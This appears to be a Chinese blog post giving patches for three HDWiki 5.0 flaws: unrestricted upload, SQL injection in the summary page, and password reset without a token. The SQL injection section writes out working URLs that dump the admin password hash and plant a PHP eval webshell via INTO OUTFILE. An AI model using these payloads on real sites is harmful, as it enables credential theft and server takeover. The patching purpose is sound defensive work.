hdwiki 5.0漏洞修复（补充中。。）

1、
漏洞：编辑词条，上传图片，服务端未作类型判断，导致直接上传php文件，从而获取webshell。
修复：修改文件wiki/control/attachment.php
    // 禁止上传除了jgp、gif、png后缀的其他文件
    if ($extname != "jpg" && $extname != "gif" && $extname != "png")
    {
        $_ENV['attachment']->showmsg($imgname);
        exit;
    }

2、
漏洞：summary页面注入漏洞
    （1）获取admin用户密码（修改groupid为2即可获取另一用户密码）
    http://《域名》/wiki/index.php?doc-summary-xxxxxxxxx%27%20and%201=2%20union%20select%201,2,3,4,5,concat%28username,0x7c,password%29,7,8,9,0,1,2,3,4,5,6,7,8,9,0%20from%20wiki_user%20where%20groupid=4%23
    （2）获取服务器web绝对路径
    http://《域名》/wiki/index.php?doc-summary-xxxxxxxxx%27%20and%201=2%20union%20select%201,2,3,4,5,@@datadir,7,8,9,0,1,2,3,4,5,6,7,8,9,0%23

     （3）写入一句话后门，菜刀（其中用到了上面爆出来的web绝对路径）
    http://《域名》/wiki/index.php?doc-summary-xxxxxxxxx%27%20and%201=2%20union%20select%201,2,3,4,5,%27<?php%20eval($_POST[pass]);?>%27,7,8,9,0,1,2,3,4,5,6,7,8,9,0%20into%20outfile%20%27D:/7%20site/PHPnow-1%2e5%2e6/htdocs/wiki/1%2ephp%27%23
    
修复：
    （1）修改访问不存在的词条响应慢的问题（如http://《域名》/wiki/index.php?doc-summary-xxx）
    修改文件wiki/control/doc.php，在函数dosummary()中注释掉
        /* 怪不得那么慢，竟然上hudong.com查询，真猥琐
        else{
            $url = 'http://www.hudong.com/validateDocSummary.do?doc_title='.$title2;
            ...............
            }else{
                $doc_exists=0;
            }
        }
        */
    （2）同样在函数dosummary()中，在拼接到sql查询语句之前，转义查询参数中的特殊字符
        // 防sql注入
        $title = mysql_real_escape_string($title);
        $doc=$this->db->fetch_by_field('doc','title',$title);

3、
漏洞：任意用户密码修改（http://www.wooyun.org/bugs/wooyun-2012-06052）
    （1）访问链接http://wiki.somesite.com/index.php?user-getpass-用户id，即可直接修改admin密码
修复：对重置密码的链接添加判断
    修改文件wiki/control/user.php
    function dogetpass(){
        if(isset($this->get[2])){
            $uid=$this->get[2];
            $encryptstring=$this->get[3];
            $idstring=$_ENV['user']->get_idstring_by_uid($uid,$this->time);
            //重置密码链接，添加判断
            if(empty($encryptstring) || empty($idstring))
            {
                $this->message($this->view->lang['resetPassMessage'], $this->setting['site_url'] ,0);
            }
            if($idstring==$encryptstring){
            。。。。。。。
        }elseif(isset($this->post['verifystring'])){
            。。。。。。。
            //重置密码链接，添加判断
            if(empty($encryptstring) || empty($idstring))
            {
                $this->message($this->view->lang['resetPassMessage'], $this->setting['site_url'] ,0);
            }
            if($idstring==$encryptstring){
            。。。。。。。